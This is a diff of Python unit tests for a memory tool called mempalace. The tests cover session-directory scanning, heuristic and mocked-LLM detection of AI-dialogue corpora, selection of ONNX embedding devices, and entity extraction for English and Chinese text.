||||
|
||||
|
||||
def test_resolve_project_name_prefers_newer_session(tmp_path):
|
||||
"""Newest session's cwd wins — covers the case where user renamed the
|
||||
project directory between sessions."""
|
||||
|
||||
pdir = tmp_path / "-home-user-dev-old"
|
||||
pdir.mkdir()
|
||||
old = pdir / "old.jsonl"
|
||||
old.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/old"}) + "\n")
|
||||
# Ensure distinguishable mtimes
|
||||
old_mtime = old.stat().st_mtime - 100
|
||||
import os
|
||||
|
||||
os.utime(old, (old_mtime, old_mtime))
|
||||
|
||||
new = pdir / "new.jsonl"
|
||||
new.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/new-name"}) + "\n")
|
||||
assert _resolve_project_name(pdir) == "new-name"
|
||||
|
||||
|
||||
# ── scan_claude_projects ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_scan_claude_projects_empty_dir(tmp_path):
|
||||
assert scan_claude_projects(tmp_path) == []
|
||||
|
||||
|
||||
def test_scan_claude_projects_not_a_projects_root(tmp_path):
|
||||
"""Returns empty list if the dir doesn't look like .claude/projects/."""
|
||||
(tmp_path / "some-folder").mkdir()
|
||||
(tmp_path / "some-folder" / "readme.md").write_text("hi")
|
||||
assert scan_claude_projects(tmp_path) == []
|
||||
|
||||
|
||||
def test_scan_claude_projects_finds_projects(tmp_path):
|
||||
p1 = tmp_path / "-home-user-dev-alpha"
|
||||
p1.mkdir()
|
||||
(p1 / "a.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
|
||||
(p1 / "b.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n")
|
||||
|
||||
p2 = tmp_path / "-home-user-dev-beta"
|
||||
p2.mkdir()
|
||||
(p2 / "x.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/beta"}) + "\n")
|
||||
|
||||
result = scan_claude_projects(tmp_path)
|
||||
names = [p.name for p in result]
|
||||
assert "alpha" in names
|
||||
assert "beta" in names
|
||||
# alpha has 2 sessions, beta has 1 — alpha ranks higher
|
||||
alpha = next(p for p in result if p.name == "alpha")
|
||||
beta = next(p for p in result if p.name == "beta")
|
||||
assert alpha.user_commits == 2
|
||||
assert beta.user_commits == 1
|
||||
|
||||
|
||||
def test_scan_claude_projects_ignores_dirs_without_jsonl(tmp_path):
|
||||
empty_proj = tmp_path / "-home-user-dev-empty"
|
||||
empty_proj.mkdir()
|
||||
(empty_proj / "notes.md").write_text("hi")
|
||||
assert scan_claude_projects(tmp_path) == []
|
||||
|
||||
|
||||
def test_scan_claude_projects_marks_as_mine(tmp_path):
|
||||
p = tmp_path / "-home-user-dev-owned"
|
||||
p.mkdir()
|
||||
(p / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/owned"}) + "\n")
|
||||
result = scan_claude_projects(tmp_path)
|
||||
assert len(result) == 1
|
||||
assert result[0].is_mine is True
|
||||
|
||||
|
||||
def test_scan_claude_projects_dedup_by_name(tmp_path):
|
||||
"""Two encoded dirs resolving to the same project name collapse to one."""
|
||||
p1 = tmp_path / "-home-user-a-proj"
|
||||
p1.mkdir()
|
||||
(p1 / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
|
||||
(p1 / "t.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n")
|
||||
|
||||
p2 = tmp_path / "-home-user-b-proj"
|
||||
p2.mkdir()
|
||||
(p2 / "u.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/b/proj"}) + "\n")
|
||||
|
||||
result = scan_claude_projects(tmp_path)
|
||||
# Both decode to "proj"; only one remains — the one with more sessions wins
|
||||
assert len(result) == 1
|
||||
assert result[0].name == "proj"
|
||||
assert result[0].user_commits == 2
|
||||
@@ -0,0 +1,395 @@
|
||||
"""Tests for corpus_origin detection.
|
||||
|
||||
The corpus-origin detector answers ONE foundational question before any
|
||||
downstream Pass 2 classification runs:
|
||||
|
||||
"Is this corpus a record of AI-agent dialogue, and if so, which platform
|
||||
and what persona names has the user assigned to the agent?"
|
||||
|
||||
Detection is two-tier:
|
||||
- Tier 1: cheap content-aware heuristic (grep for well-known AI terms
|
||||
and turn markers). No API calls. Always runs.
|
||||
- Tier 2: LLM-assisted confirmation + persona extraction. Takes a small
|
||||
sample of drawer texts and uses Haiku's pre-trained world knowledge
|
||||
about Claude/ChatGPT/Gemini/etc. to confirm platform + identify
|
||||
persona-names the user assigned to the agent.
|
||||
|
||||
Default stance: "this IS an AI-dialogue corpus" unless strong evidence
|
||||
otherwise. False-negative (missing an AI corpus) is catastrophic for
|
||||
downstream classification; false-positive is recoverable via per-drawer
|
||||
voice-profile detection in later passes.
|
||||
|
||||
TDD: these tests fail until mempalace/corpus_origin.py is implemented."""
|
||||
|
||||
from mempalace.corpus_origin import (
|
||||
CorpusOriginResult,
|
||||
detect_origin_heuristic,
|
||||
detect_origin_llm,
|
||||
)
|
||||
|
||||
|
||||
# ── Tier 1: heuristic (no LLM) ────────────────────────────────────────────
|
||||
|
||||
|
||||
class TestHeuristic:
|
||||
def test_claude_heavy_corpus_detected(self):
|
||||
"""A corpus with abundant Claude references + turn markers should
|
||||
be confidently detected as AI-dialogue."""
|
||||
samples = [
|
||||
"user: hey Claude, can you help me\nassistant: sure, what do you need\n",
|
||||
"I was talking to Claude Opus about the MCP server setup",
|
||||
"Sonnet 4.5 handled this better than Haiku 4.5 did",
|
||||
"claude mcp add mempalace -- mempalace-mcp",
|
||||
"human: what's up\nassistant: I'm happy to help",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert result.likely_ai_dialogue is True
|
||||
assert result.confidence >= 0.8
|
||||
assert (
|
||||
"Claude" in " ".join(result.evidence) or "claude" in " ".join(result.evidence).lower()
|
||||
)
|
||||
|
||||
def test_gpt_corpus_detected(self):
|
||||
samples = [
|
||||
"I asked ChatGPT to summarize my paper",
|
||||
"The GPT-4 response was surprisingly good",
|
||||
"user: explain quantum computing\nassistant: quantum computing uses qubits",
|
||||
"OpenAI's model was able to help with the code",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert result.likely_ai_dialogue is True
|
||||
assert any("GPT" in e or "ChatGPT" in e or "OpenAI" in e for e in result.evidence)
|
||||
|
||||
def test_pure_narrative_corpus_detected_as_not_ai(self):
|
||||
"""A story/journal corpus with no AI signals should be flagged
|
||||
not-AI (default stance flipped only with evidence)."""
|
||||
samples = [
|
||||
"Today the cat finally ventured into the garden. The dog watched.",
|
||||
"The morning light came through the window as I wrote.",
|
||||
"Chapter 3: The Reckoning. It was a dark and stormy night.",
|
||||
"My father's old journal described the same field in 1972.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert result.likely_ai_dialogue is False
|
||||
assert result.confidence >= 0.8
|
||||
|
||||
def test_ambiguous_corpus_defaults_to_ai(self):
|
||||
"""When evidence is thin or mixed, default to assuming AI-dialogue.
|
||||
False-negative is worse than false-positive."""
|
||||
samples = [
|
||||
"some notes about the meeting today",
|
||||
"Later on I went to the store.",
|
||||
"Short file with little signal.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
# Low signal → default stance is ai_dialogue=True with low confidence
|
||||
assert result.likely_ai_dialogue is True
|
||||
assert result.confidence <= 0.6
|
||||
assert "default-stance" in " ".join(result.evidence).lower()
|
||||
|
||||
def test_turn_markers_alone_sufficient(self):
|
||||
"""Even without AI brand mentions, strong turn-marker presence
|
||||
indicates dialogue structure consistent with AI corpora."""
|
||||
samples = [
|
||||
"user: hello\nassistant: hi there, how can I help?\nuser: summarize X\nassistant: sure",
|
||||
"human: what's the weather\nai: I don't have real-time data\n",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert result.likely_ai_dialogue is True
|
||||
|
||||
# ── Pattern + context (not capitalization, not English-rule) ──────────
|
||||
|
||||
def test_brand_terms_case_insensitive(self):
|
||||
"""Detection cannot rely on the user typing proper-cased brand names.
|
||||
Lowercase 'claude code', 'chatgpt', 'gemini-pro', 'mcp' must trip
|
||||
the same as their proper-cased equivalents. NO turn-marker fallback
|
||||
in this corpus — the brand matches must do the work."""
|
||||
samples = [
|
||||
"i love claude code, it just works for refactoring tasks",
|
||||
"asked chatgpt to write a regex and it nailed it on the first try",
|
||||
"switched to gemini-pro for the long-context summary task last week",
|
||||
"added mempalace as an mcp server in my .claude/ settings file",
|
||||
"anthropic's haiku model is cheap enough to run on every drawer",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert (
|
||||
result.likely_ai_dialogue is True
|
||||
), f"lowercase brand terms missed; evidence: {result.evidence}"
|
||||
# Evidence must show MULTIPLE distinct case-insensitive brand matches.
|
||||
# 'chatgpt' lowercase only matches under case-insensitive search
|
||||
# (the brand list has 'ChatGPT' proper-cased only).
|
||||
evidence_str = " ".join(result.evidence).lower()
|
||||
matched = sum(t in evidence_str for t in ("chatgpt", "anthropic", "haiku", "gemini-pro"))
|
||||
assert (
|
||||
matched >= 2
|
||||
), f"case-insensitive brand matches did not fire — only got: {result.evidence}"
|
||||
|
||||
def test_zodiac_corpus_not_flagged_as_ai(self):
|
||||
"""An astrology forum post with high 'Gemini' density but ZERO
|
||||
unambiguous AI signals (no MCP/LLM/ChatGPT/turn markers) must NOT
|
||||
be flagged as AI-dialogue. Word-sense disambiguation is required:
|
||||
Gemini-the-zodiac-sign vs Gemini-the-AI-platform."""
|
||||
samples = [
|
||||
"I'm a Gemini sun, Pisces moon, and Leo rising.",
|
||||
"Geminis are dreamers and overthinkers — that's the dual nature.",
|
||||
"Compatibility between Gemini and Sagittarius is famously strong.",
|
||||
"If you're a Gemini, expect Mercury retrograde to hit you hardest.",
|
||||
"My horoscope this week says Gemini energy will dominate Wednesday.",
|
||||
"The Gemini twins in Greek mythology are Castor and Pollux.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert (
|
||||
result.likely_ai_dialogue is False
|
||||
), f"zodiac corpus wrongly flagged AI; evidence: {result.evidence}"
|
||||
|
||||
def test_french_novel_with_claude_name_not_flagged(self):
|
||||
"""A French novel where 'Claude' is a character name (Claude is a
|
||||
common French masculine name) must NOT trip AI-dialogue detection.
|
||||
Disambiguation is by context, not by the presence of the word."""
|
||||
samples = [
|
||||
"Claude marchait lentement le long de la Seine ce matin-là.",
|
||||
"« Claude, tu rentres dîner? » lui demanda sa mère depuis la cuisine.",
|
||||
"Pour Claude, l'art de vivre passait avant tout par la patience.",
|
||||
"Le vieux Claude se souvenait encore de la guerre, des champs déserts.",
|
||||
"Claude ouvrit la fenêtre. Le matin sentait le pain frais et la pluie.",
|
||||
"Les amis de Claude s'étaient réunis chez lui pour fêter ses soixante ans.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert (
|
||||
result.likely_ai_dialogue is False
|
||||
), f"French novel wrongly flagged AI; evidence: {result.evidence}"
|
||||
|
||||
def test_poetry_corpus_with_haiku_sonnet_not_flagged(self):
|
||||
"""A poetry corpus with high 'haiku', 'sonnet', 'opus' density
|
||||
(poetic forms / classical music terms) but no AI infrastructure
|
||||
terms must NOT be flagged as AI-dialogue."""
|
||||
samples = [
|
||||
"A haiku is seventeen syllables across three lines: 5-7-5.",
|
||||
"Shakespeare's sonnet 18 remains the most quoted in the English canon.",
|
||||
"Beethoven's opus 27 includes the Moonlight Sonata.",
|
||||
"I wrote three haiku this morning before coffee.",
|
||||
"The sonnet form arrived in England via Wyatt and Surrey.",
|
||||
"Her first opus, published at twenty, was a song cycle for soprano.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert (
|
||||
result.likely_ai_dialogue is False
|
||||
), f"poetry corpus wrongly flagged AI; evidence: {result.evidence}"
|
||||
|
||||
def test_word_boundary_brand_matching(self):
|
||||
"""Brand-term matching must use word boundaries. Embedded matches
|
||||
inside larger words ('Claudette' → 'Claude', 'opuscule' → 'Opus',
|
||||
'sonneteer' → 'Sonnet', 'llamas' → 'Llama', 'bardic' → 'Bard')
|
||||
must NOT be counted as brand hits.
|
||||
|
||||
Word boundaries don't change classification on the co-occurrence-
|
||||
suppressed cases, but they clean up the evidence strings — false
|
||||
matches must not appear in the audit trail. They also prevent
|
||||
'Claude Code' from triple-counting as 'Claude Code' + 'Claude'
|
||||
overlap."""
|
||||
samples = [
|
||||
"My grandmother Claudette baked the most beautiful tarts every Sunday.",
|
||||
"Two llamas were spotted near the trailhead this morning at sunrise.",
|
||||
"Beethoven's opuscule for solo violin remained unpublished for decades.",
|
||||
"She studied to become a sonneteer after reading the full Spenser cycle.",
|
||||
"Bardic traditions in the Hebrides survived well into the eighteenth century.",
|
||||
"The complete opuses of Mozart fill an entire wall of the library.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
evidence_str = " ".join(result.evidence).lower()
|
||||
|
||||
# None of the brand terms should show up in evidence — every
|
||||
# would-be match is an embedded false-positive that word
|
||||
# boundaries should suppress.
|
||||
for embedded_term in ("claude", "opus", "sonnet", "llama", "bard"):
|
||||
assert f"'{embedded_term}'" not in evidence_str, (
|
||||
f"word-boundary bug: '{embedded_term}' falsely matched inside "
|
||||
f"a longer word — evidence: {result.evidence}"
|
||||
)
|
||||
|
||||
# And classification should be not-AI (no real AI signals present).
|
||||
assert (
|
||||
result.likely_ai_dialogue is False
|
||||
), f"corpus has no real AI signals; evidence: {result.evidence}"
|
||||
|
||||
def test_ambiguous_brand_with_unambiguous_signal_flagged(self):
|
||||
"""When an ambiguous brand term ('Gemini') co-occurs with an
|
||||
UNAMBIGUOUS AI signal (turn markers, MCP, ChatGPT, Claude Code)
|
||||
in the same corpus, the Gemini hits SHOULD count and the corpus
|
||||
SHOULD be flagged as AI-dialogue."""
|
||||
samples = [
|
||||
"Switched the agent from Gemini to ChatGPT mid-session for cost reasons.",
|
||||
"Gemini handled the long-context task; user: please summarize\nassistant: here is the summary",
|
||||
"user: try Gemini for this\nassistant: running it through gemini-pro now",
|
||||
"MCP server config: Gemini as primary, OpenAI as fallback.",
|
||||
]
|
||||
result = detect_origin_heuristic(samples)
|
||||
assert (
|
||||
result.likely_ai_dialogue is True
|
||||
), f"ambiguous+unambiguous co-occurrence missed; evidence: {result.evidence}"
|
||||
|
||||
|
||||
# ── Tier 2: LLM-assisted (mocked) ─────────────────────────────────────────
|
||||
|
||||
|
||||
class _FakeProvider:
|
||||
"""Minimal stand-in for mempalace's LLMProvider used for testing."""
|
||||
|
||||
def __init__(self, canned_response):
|
||||
self._response = canned_response
|
||||
self.calls = []
|
||||
|
||||
def classify(self, system, user, json_mode=True):
|
||||
self.calls.append({"system": system, "user": user})
|
||||
|
||||
class R:
|
||||
text = self._response
|
||||
|
||||
return R()
|
||||
|
||||
def check_available(self):
|
||||
return True, "ok"
|
||||
|
||||
|
||||
class TestLLMConfirmation:
|
||||
def test_extracts_persona_names_and_platform(self):
|
||||
fake_response = """{
|
||||
"is_ai_dialogue_corpus": true,
|
||||
"confidence": 0.97,
|
||||
"primary_platform": "Claude Code (Anthropic CLI)",
|
||||
"agent_persona_names": ["Echo", "Sparrow", "Cipher", "Orc"],
|
||||
"evidence": [
|
||||
"user addresses agent as 'Echo' on assistant turns",
|
||||
"Claude Code banner text in samples",
|
||||
"references to MCP, CLAUDE.md, hooks"
|
||||
]
|
||||
}"""
|
||||
provider = _FakeProvider(fake_response)
|
||||
samples = [
|
||||
"user: hey Echo, what's up\nassistant: I'm here, what do you need\n",
|
||||
"Claude Code session banner Sonnet 4.5 Claude Pro",
|
||||
]
|
||||
result = detect_origin_llm(samples, provider)
|
||||
assert result.likely_ai_dialogue is True
|
||||
assert result.confidence >= 0.9
|
||||
assert "Echo" in result.agent_persona_names
|
||||
assert "Sparrow" in result.agent_persona_names
|
||||
assert "Claude" in result.primary_platform
|
||||
|
||||
def test_narrative_corpus_llm_confirms_no_agent(self):
|
||||
fake_response = """{
|
||||
"is_ai_dialogue_corpus": false,
|
||||
"confidence": 0.95,
|
||||
"primary_platform": null,
|
||||
"agent_persona_names": [],
|
||||
"evidence": ["pure narrative prose, no turn markers, no AI terms"]
|
||||
}"""
|
||||
provider = _FakeProvider(fake_response)
|
||||
samples = ["Once upon a time in a small village", "The old woman smiled"]
|
||||
result = detect_origin_llm(samples, provider)
|
||||
assert result.likely_ai_dialogue is False
|
||||
assert result.agent_persona_names == []
|
||||
assert result.primary_platform is None
|
||||
|
||||
def test_handles_malformed_llm_response(self):
|
||||
"""If the LLM returns garbage, fall back gracefully to the
|
||||
conservative default (assume AI-dialogue with low confidence)."""
|
||||
provider = _FakeProvider("not even close to JSON")
|
||||
result = detect_origin_llm(["sample text"], provider)
|
||||
# Fallback: conservative default, low confidence
|
||||
assert result.likely_ai_dialogue is True
|
||||
assert result.confidence <= 0.5
|
||||
assert (
|
||||
"fallback" in " ".join(result.evidence).lower()
|
||||
or "error" in " ".join(result.evidence).lower()
|
||||
)
|
||||
|
||||
def test_filters_user_name_out_of_personas(self):
|
||||
"""Regression test: Haiku sometimes leaks the user's own name into
|
||||
agent_persona_names despite the prompt's CRITICAL distinction. The
|
||||
parser must strip the user's name from personas if it appears in
|
||||
both fields (case-insensitive). The user is the human author of
|
||||
the corpus, not an agent persona."""
|
||||
fake_response = """{
|
||||
"is_ai_dialogue_corpus": true,
|
||||
"confidence": 0.97,
|
||||
"primary_platform": "Claude (Anthropic)",
|
||||
"user_name": "Jordan",
|
||||
"agent_persona_names": ["Echo", "Sparrow", "Jordan", "Cipher"],
|
||||
"evidence": ["user Jordan talks to agents Echo/Sparrow/Cipher"]
|
||||
}"""
|
||||
provider = _FakeProvider(fake_response)
|
||||
result = detect_origin_llm(["sample"], provider)
|
||||
# user_name is exposed in its own field
|
||||
assert result.user_name == "Jordan"
|
||||
# "Jordan" is filtered out of agent_persona_names
|
||||
assert "Jordan" not in result.agent_persona_names
|
||||
# Real personas are preserved
|
||||
for persona in ("Echo", "Sparrow", "Cipher"):
|
||||
assert persona in result.agent_persona_names
|
||||
|
||||
def test_filter_is_case_insensitive(self):
|
||||
"""The user-name filter works even when the LLM returns a casing
|
||||
mismatch between user_name and the personas list."""
|
||||
fake_response = """{
|
||||
"is_ai_dialogue_corpus": true,
|
||||
"confidence": 0.9,
|
||||
"primary_platform": "Claude",
|
||||
"user_name": "Jordan",
|
||||
"agent_persona_names": ["Echo", "jordan", "JORDAN", "Cipher"],
|
||||
"evidence": []
|
||||
}"""
|
||||
provider = _FakeProvider(fake_response)
|
||||
result = detect_origin_llm(["sample"], provider)
|
||||
# All case-variants of the user's name are filtered
|
||||
assert "jordan" not in [p.lower() for p in result.agent_persona_names]
|
||||
assert result.agent_persona_names == ["Echo", "Cipher"]
|
||||
|
||||
def test_user_name_field_surfaces_author(self):
|
||||
"""The user_name field captures the human author of the corpus,
|
||||
separate from agent personas. This gives downstream passes a
|
||||
clear 'who is the user, who is the agent' distinction."""
|
||||
fake_response = """{
|
||||
"is_ai_dialogue_corpus": true,
|
||||
"confidence": 0.95,
|
||||
"primary_platform": "ChatGPT (OpenAI)",
|
||||
"user_name": "Sarah",
|
||||
"agent_persona_names": ["MyAssistant"],
|
||||
"evidence": ["Sarah writes to MyAssistant"]
|
||||
}"""
|
||||
provider = _FakeProvider(fake_response)
|
||||
result = detect_origin_llm(["sample"], provider)
|
||||
assert result.user_name == "Sarah"
|
||||
assert result.agent_persona_names == ["MyAssistant"]
|
||||
|
||||
|
||||
# ── CorpusOriginResult dataclass ──────────────────────────────────────────
|
||||
|
||||
|
||||
class TestResultDataclass:
|
||||
def test_result_has_all_fields(self):
|
||||
r = CorpusOriginResult(
|
||||
likely_ai_dialogue=True,
|
||||
confidence=0.95,
|
||||
primary_platform="Claude Code",
|
||||
agent_persona_names=["Echo"],
|
||||
evidence=["test"],
|
||||
)
|
||||
assert r.likely_ai_dialogue is True
|
||||
assert r.confidence == 0.95
|
||||
assert r.primary_platform == "Claude Code"
|
||||
assert r.agent_persona_names == ["Echo"]
|
||||
assert r.evidence == ["test"]
|
||||
|
||||
def test_result_serializes_to_dict(self):
|
||||
r = CorpusOriginResult(
|
||||
likely_ai_dialogue=False,
|
||||
confidence=0.9,
|
||||
primary_platform=None,
|
||||
agent_persona_names=[],
|
||||
evidence=[],
|
||||
)
|
||||
d = r.to_dict()
|
||||
assert d["likely_ai_dialogue"] is False
|
||||
assert d["primary_platform"] is None
|
||||
assert d["agent_persona_names"] == []
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,98 @@
|
||||
import pytest
|
||||
|
||||
import mempalace.embedding as embedding
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def isolate_embedding_state(monkeypatch):
|
||||
monkeypatch.setattr(embedding, "_EF_CACHE", {})
|
||||
monkeypatch.setattr(embedding, "_WARNED", set())
|
||||
|
||||
|
||||
def test_auto_picks_cuda(monkeypatch):
|
||||
monkeypatch.setattr(
|
||||
"onnxruntime.get_available_providers",
|
||||
lambda: ["CUDAExecutionProvider", "CPUExecutionProvider"],
|
||||
)
|
||||
|
||||
assert embedding._resolve_providers("auto") == (
|
||||
["CUDAExecutionProvider", "CPUExecutionProvider"],
|
||||
"cuda",
|
||||
)
|
||||
|
||||
|
||||
def test_auto_falls_to_cpu(monkeypatch):
|
||||
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
|
||||
|
||||
assert embedding._resolve_providers("auto") == (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
|
||||
def test_cuda_missing_warns_with_gpu_extra(monkeypatch, caplog):
|
||||
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
|
||||
|
||||
assert embedding._resolve_providers("cuda") == (["CPUExecutionProvider"], "cpu")
|
||||
assert "mempalace[gpu]" in caplog.text
|
||||
|
||||
|
||||
def test_coreml_missing_warns_with_coreml_extra(monkeypatch, caplog):
|
||||
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
|
||||
|
||||
assert embedding._resolve_providers("coreml") == (["CPUExecutionProvider"], "cpu")
|
||||
assert "mempalace[coreml]" in caplog.text
|
||||
|
||||
|
||||
def test_dml_missing_warns_with_dml_extra(monkeypatch, caplog):
|
||||
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
|
||||
|
||||
assert embedding._resolve_providers("dml") == (["CPUExecutionProvider"], "cpu")
|
||||
assert "mempalace[dml]" in caplog.text
|
||||
|
||||
|
||||
def test_unknown_device_warns_once(monkeypatch, caplog):
|
||||
monkeypatch.setattr("onnxruntime.get_available_providers", lambda: ["CPUExecutionProvider"])
|
||||
|
||||
assert embedding._resolve_providers("bogus") == (["CPUExecutionProvider"], "cpu")
|
||||
assert embedding._resolve_providers("bogus") == (["CPUExecutionProvider"], "cpu")
|
||||
assert caplog.text.count("Unknown embedding_device") == 1
|
||||
|
||||
|
||||
def test_onnxruntime_import_error_falls_back_to_cpu(monkeypatch):
|
||||
import builtins
|
||||
|
||||
real_import = builtins.__import__
|
||||
|
||||
def fake_import(name, *args, **kwargs):
|
||||
if name == "onnxruntime":
|
||||
raise ImportError("missing")
|
||||
return real_import(name, *args, **kwargs)
|
||||
|
||||
monkeypatch.setattr(builtins, "__import__", fake_import)
|
||||
|
||||
assert embedding._resolve_providers("cuda") == (["CPUExecutionProvider"], "cpu")
|
||||
|
||||
|
||||
def test_get_embedding_function_caches_by_resolved_provider_tuple(monkeypatch):
|
||||
class DummyEF:
|
||||
def __init__(self, preferred_providers):
|
||||
self.preferred_providers = preferred_providers
|
||||
|
||||
monkeypatch.setattr(embedding, "_build_ef_class", lambda: DummyEF)
|
||||
monkeypatch.setattr(
|
||||
embedding, "_resolve_providers", lambda device: (["CPUExecutionProvider"], "cpu")
|
||||
)
|
||||
|
||||
first = embedding.get_embedding_function("cpu")
|
||||
second = embedding.get_embedding_function("auto")
|
||||
|
||||
assert first is second
|
||||
assert first.preferred_providers == ["CPUExecutionProvider"]
|
||||
|
||||
|
||||
def test_describe_device_uses_resolved_effective_device(monkeypatch):
|
||||
monkeypatch.setattr(
|
||||
embedding,
|
||||
"_resolve_providers",
|
||||
lambda device: (["CUDAExecutionProvider", "CPUExecutionProvider"], "cuda"),
|
||||
)
|
||||
|
||||
assert embedding.describe_device("auto") == "cuda"
|
||||
@@ -148,6 +148,33 @@ def test_classify_entity_pronoun_only_is_uncertain():
|
||||
assert result["type"] == "uncertain"
|
||||
|
||||
|
||||
def test_classify_entity_high_pronoun_signal_is_person():
|
||||
"""A diary's main character hit by many pronouns should still classify
|
||||
as a person even with only the pronoun signal category. Example from
|
||||
real data: `Lu` has 16 pronoun hits out of 30 mentions."""
|
||||
scores = {
|
||||
"person_score": 32,
|
||||
"project_score": 0,
|
||||
"person_signals": ["pronoun nearby (16x)"],
|
||||
"project_signals": [],
|
||||
}
|
||||
result = classify_entity("Lu", 30, scores)
|
||||
assert result["type"] == "person"
|
||||
|
||||
|
||||
def test_classify_entity_low_pronoun_proximity_is_uncertain():
|
||||
"""Common sentence-start words (Never, Before) get a few pronouns nearby
|
||||
incidentally. The ratio stays low (<20%), so they stay uncertain."""
|
||||
scores = {
|
||||
"person_score": 4,
|
||||
"project_score": 0,
|
||||
"person_signals": ["pronoun nearby (2x)"],
|
||||
"project_signals": [],
|
||||
}
|
||||
result = classify_entity("Never", 21, scores)
|
||||
assert result["type"] == "uncertain"
|
||||
|
||||
|
||||
def test_classify_entity_mixed_signals():
|
||||
scores = {
|
||||
"person_score": 5,
|
||||
@@ -208,13 +235,13 @@ def test_detect_entities_empty_files(tmp_path):
|
||||
f = tmp_path / "empty.txt"
|
||||
f.write_text("")
|
||||
result = detect_entities([f])
|
||||
assert result == {"people": [], "projects": [], "uncertain": []}
|
||||
assert result == {"people": [], "projects": [], "topics": [], "uncertain": []}
|
||||
|
||||
|
||||
def test_detect_entities_handles_missing_file(tmp_path):
|
||||
missing = tmp_path / "nonexistent.txt"
|
||||
result = detect_entities([missing])
|
||||
assert result == {"people": [], "projects": [], "uncertain": []}
|
||||
assert result == {"people": [], "projects": [], "topics": [], "uncertain": []}
|
||||
|
||||
|
||||
def test_detect_entities_respects_max_files(tmp_path):
|
||||
@@ -661,3 +688,102 @@ def test_boundary_chars_english_regression():
|
||||
result = extract_candidates(text, languages=("en",))
|
||||
assert "Riley" in result
|
||||
assert result["Riley"] >= 3
|
||||
|
||||
|
||||
# ── Chinese (zh-TW / zh-CN) entity detection ──────────────────────────
|
||||
|
||||
# CJK scripts have no word delimiters — a regex-based extractor can only
|
||||
# catch names when they have a non-CJK neighbour (whitespace, punctuation,
|
||||
# newline, or mixed English). Real-world technical notes in zh-TW / zh-CN
|
||||
# routinely satisfy this: names appear at the start of bullet lines, next
|
||||
# to English terms, or before full-width punctuation 「」:,。. The patterns
|
||||
# below target that realistic regime.
|
||||
|
||||
|
||||
def test_zh_tw_candidate_extraction_at_boundaries():
|
||||
"""A 3-char Traditional Chinese name is extracted when neighboured by
|
||||
whitespace, English, full-width punctuation, or line-start."""
|
||||
text = (
|
||||
"# 會議紀錄\n"
|
||||
"- 朱宜振 主持\n"
|
||||
"朱宜振 跟 Jeffrey 討論。\n"
|
||||
"朱宜振: 方向正確。\n"
|
||||
"朱宜振, 明天 pitch。\n"
|
||||
)
|
||||
result = extract_candidates(text, languages=("zh-TW",))
|
||||
assert "朱宜振" in result, f"expected 朱宜振 in {result}"
|
||||
assert result["朱宜振"] >= 3
|
||||
|
||||
|
||||
def test_zh_tw_person_classification():
|
||||
"""A Traditional Chinese name with dialogue + verb context classifies
|
||||
as a person."""
|
||||
text = (
|
||||
"朱宜振: 「我們要 6 月 launch。」\n"
|
||||
"朱宜振 同意 Arnold 的方案。\n"
|
||||
"朱宜振 覺得 Hermes 方向對。\n"
|
||||
"朱宜振 決定 ship pitch。\n"
|
||||
)
|
||||
lines = text.splitlines()
|
||||
scores = score_entity("朱宜振", text, lines, languages=("zh-TW",))
|
||||
# Dialogue + action signals fire — person score dominates
|
||||
assert scores["person_score"] > 0, f"expected person signals, got {scores}"
|
||||
|
||||
|
||||
def test_zh_tw_stopwords_filter_common_particles():
|
||||
"""Common Chinese particles / pronouns should be stopword-filtered
|
||||
even if they happen to share a surname prefix like 甘 or 習."""
|
||||
from mempalace.i18n import get_entity_patterns
|
||||
|
||||
patterns = get_entity_patterns(("zh-TW",))
|
||||
stopwords = set(patterns["stopwords"])
|
||||
# Sanity: stopwords are lower-cased from the source list
|
||||
assert "這個" in stopwords
|
||||
assert "我們" in stopwords
|
||||
assert "他們" in stopwords
|
||||
assert "完成" in stopwords
|
||||
|
||||
|
||||
def test_zh_tw_falls_back_to_english_for_non_cjk_names():
|
||||
"""English names embedded in Chinese text are still captured via the
|
||||
English pattern — Lman's Chinese notes mix in names like 'Jeffrey Lai'."""
|
||||
text = (
|
||||
"朱宜振 跟 Jeffrey Lai 討論 pitch。\n"
|
||||
"Jeffrey Lai 報告進度。\n"
|
||||
"朱宜振 同意 Jeffrey Lai 的方案。\n"
|
||||
"朱宜振: 確認。\n"
|
||||
)
|
||||
result = extract_candidates(text, languages=("zh-TW", "en"))
|
||||
assert "Jeffrey Lai" in result or "Jeffrey" in result
|
||||
assert "朱宜振" in result
|
||||
|
||||
|
||||
def test_zh_cn_candidate_extraction():
|
||||
"""Simplified-Chinese name extraction mirrors zh-TW behaviour."""
|
||||
text = "张三 今天主持。\n- 张三 跟 Bob 谈。\n张三: 已经搞定了。\n张三, 明天继续。\n"
|
||||
result = extract_candidates(text, languages=("zh-CN",))
|
||||
assert "张三" in result, f"expected 张三 in {result}"
|
||||
